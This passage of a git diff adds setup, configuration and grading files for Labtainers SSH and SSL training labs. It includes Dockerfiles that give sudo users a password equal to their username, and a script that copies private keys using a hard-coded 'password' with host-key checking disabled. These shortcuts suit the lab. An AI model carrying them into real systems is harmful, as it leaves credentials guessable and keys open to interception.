b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/motd b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/motd new file mode 100644 index 000000000..a7b7f6517 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/motd @@ -0,0 +1 @@ +Welcome to ritgrub @172.30.0.5 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/sbin/faux_init new file mode 100755 index 000000000..55099f404 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/ritgrub/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +service xinetd restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/_system/sbin/faux_init new file mode 100755 index 000000000..55099f404 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +service xinetd restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/filetoview.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/filetoview.txt new file mode 100644 index 000000000..c69699f70 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssh-agent/server/filetoview.txt @@ -0,0 +1,7 @@ +# Filename: filetoview.txt +# +# Description: This is a pre-created file for each student (sshlab-server) container + +# This file is modified when container is created +# The string below will be replaced with a keyed hash +My string is: SSH_STRING diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/client/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/client/_bin/treataslocal new file mode 100644 index 000000000..df385a003 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/client/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/ssh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/client/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/client/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/config/about.txt new file mode 100644 index 000000000..9d81b81a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/config/about.txt @@ -0,0 +1 @@ +Use of a public/private key pair to access a server via ssh. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/config/parameter.config new file mode 100644 index 000000000..3aca383e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/config/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see labdesigner.pdf + +# The following are meant for ssh lab +FSTRING : HASH_REPLACE : server:filetoview.txt : SSH_STRING : mysshfilestirng + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/config/start.config new file mode 100644 index 000000000..588d0c40a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/config/start.config @@ -0,0 +1,36 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER client + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER labtainer_xfer/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED sshlab_jkhosali_master_seed + +# SUBNETS +NETWORK SOME_NETWORK + MASK 172.20.0.0/24 + GATEWAY 172.20.0.100 + +# Container name and settings +CONTAINER server + USER ubuntu + SOME_NETWORK 172.20.0.3 + TERMINALS 0 + +CONTAINER client + USER ubuntu + SOME_NETWORK 172.20.0.2 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/dockerfiles/Dockerfile.sshlab.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/dockerfiles/Dockerfile.sshlab.client.student new file mode 100644 index 000000000..c9d2bf657 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/dockerfiles/Dockerfile.sshlab.client.student @@ -0,0 +1,25 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/dockerfiles/Dockerfile.sshlab.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/dockerfiles/Dockerfile.sshlab.server.student new file mode 100644 index 000000000..c9d2bf657 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/dockerfiles/Dockerfile.sshlab.server.student @@ -0,0 +1,25 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/docs/Makefile new file mode 100644 index 000000000..cf161dcee --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/docs/Makefile @@ -0,0 +1,6 @@ +sshlab.pdf: sshlab.docx + soffice --convert-to pdf sshlab.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/docs/read_first.txt new file mode 100644 index 000000000..8e2b1b49b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/sshlab.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/docs/sshlab.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/docs/sshlab.docx new file mode 100644 index 000000000..f3f023cf9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/docs/sshlab.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/instr_config/goals.config new file mode 100644 index 000000000..38d21d5c9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/instr_config/goals.config @@ -0,0 +1,9 @@ +# goals.config +# +# Please see labdesigner.md + +# Note these goals are intended mostly for testing the framework. +#DOC: Used ssh to view the file +sshview = matchany : string_equal : sshfileview : parameter.FSTRING +#DOC: Was able to ssh without use of a password (used ssh keys) +sshlogin_nopsw = boolean : not _sshlogin diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/instr_config/results.config new file mode 100644 index 000000000..8d06be108 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/instr_config/results.config @@ -0,0 +1,8 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for ssh lab + +sshfileview = client:ssh.stdout : 4 : STARTSWITH : My string is: +_sshlogin = client:ssh.stdout : CONTAINS : password diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/_system/sbin/faux_init new file mode 100755 index 000000000..55099f404 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +service xinetd restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/filetoview.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/filetoview.txt new file mode 100644 index 000000000..c69699f70 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sshlab/server/filetoview.txt @@ -0,0 +1,7 @@ +# Filename: filetoview.txt +# +# Description: This is a pre-created file for each student (sshlab-server) container + +# This file is modified when container is created +# The string below will be replaced with a keyed hash +My string is: SSH_STRING diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_bin/fixlocal.sh new file mode 100755 index 000000000..e49f82375 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_bin/fixlocal.sh @@ -0,0 +1,88 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +cd $HOME/ca +# root key generation +openssl genrsa -out private/ca.key.pem 4096 +# self signed cert +openssl req -config openssl.cnf \ + -key private/ca.key.pem -nodes \ + -new -x509 -days 7300 -sha256 -extensions v3_ca \ + -subj '/CN=plc1.example.com/O=Example./C=US/ST=CA' \ + -out certs/ca.cert.pem + +chmod 444 certs/ca.cert.pem + +# intermediate key genteration +openssl genrsa -out intermediate/private/intermediate.key.pem 4096 +chmod 400 intermediate/private/intermediate.key.pem + +# cert signing request for intermediate cert +openssl req -config intermediate/openssl.cnf -new -sha256 \ + -key intermediate/private/intermediate.key.pem \ + -subj '/CN=plc1.example.com/O=Example./C=US/ST=CA' \ + -out intermediate/csr/intermediate.csr.pem + +# sign the cert +openssl ca -batch -config openssl.cnf -extensions v3_intermediate_ca \ + -days 3650 -notext -md sha256 \ + -in intermediate/csr/intermediate.csr.pem \ + -out intermediate/certs/intermediate.cert.pem + +chmod 444 intermediate/certs/intermediate.cert.pem + +# create chain file +cat intermediate/certs/intermediate.cert.pem \ + certs/ca.cert.pem > intermediate/certs/ca-chain.cert.pem + +# plc1 key gen +openssl genrsa -out intermediate/private/plc1.example.com.key.pem 2048 +chmod 400 intermediate/private/plc1.example.com.key.pem + +# plc1 cert signing request +openssl req -config intermediate/openssl.cnf \ + -key intermediate/private/plc1.example.com.key.pem \ + -subj '/CN=plc1.example.com/O=Example./C=US/ST=CA' \ + -new -sha256 -out intermediate/csr/plc1.example.com.csr.pem + +# sign plc1 cert +openssl ca -batch -config intermediate/openssl.cnf \ + -extensions server_cert -days 375 -notext -md sha256 \ + -in intermediate/csr/plc1.example.com.csr.pem \ + -out intermediate/certs/plc1.example.com.cert.pem + +chmod 444 intermediate/certs/plc1.example.com.cert.pem + +# hmi1 key gen +openssl genrsa -out intermediate/private/hmi1.key.pem 2048 +chmod 400 intermediate/private/hmi1.key.pem + +# hmi1 cert signing request +openssl req -config intermediate/openssl.cnf \ + -key intermediate/private/hmi1.key.pem \ + -subj '/CN=hmi1/O=Example./C=US/ST=CA' \ + -new -sha256 -out intermediate/csr/hmi1.csr.pem + +# sign hmi1 cert +openssl ca -batch -config intermediate/openssl.cnf \ + -days 375 -notext -md sha256 \ + -in intermediate/csr/hmi1.csr.pem \ + -out intermediate/certs/hmi1.cert.pem + +chmod 444 intermediate/certs/hmi1.cert.pem + +# give other boxes a chance to get their ssh going +# then copy keys/certs to appropriate boxes +sleep 3 +sshpass -p password scp -o StrictHostKeyChecking=no intermediate/private/hmi1.key.pem hmi1:~/private/ +sshpass -p password scp -o StrictHostKeyChecking=no intermediate/certs/ca-chain.cert.pem intermediate/certs/hmi1.cert.pem hmi1:~/certs/ + +sshpass -p password scp -o StrictHostKeyChecking=no intermediate/private/plc1.example.com.key.pem plc1:~/private/ +sshpass -p password scp -o StrictHostKeyChecking=no intermediate/certs/ca-chain.cert.pem intermediate/certs/plc1.example.com.cert.pem plc1:~/certs/ +#rm $HOME/.local/bin/fixlocal.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ssl/ca/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for 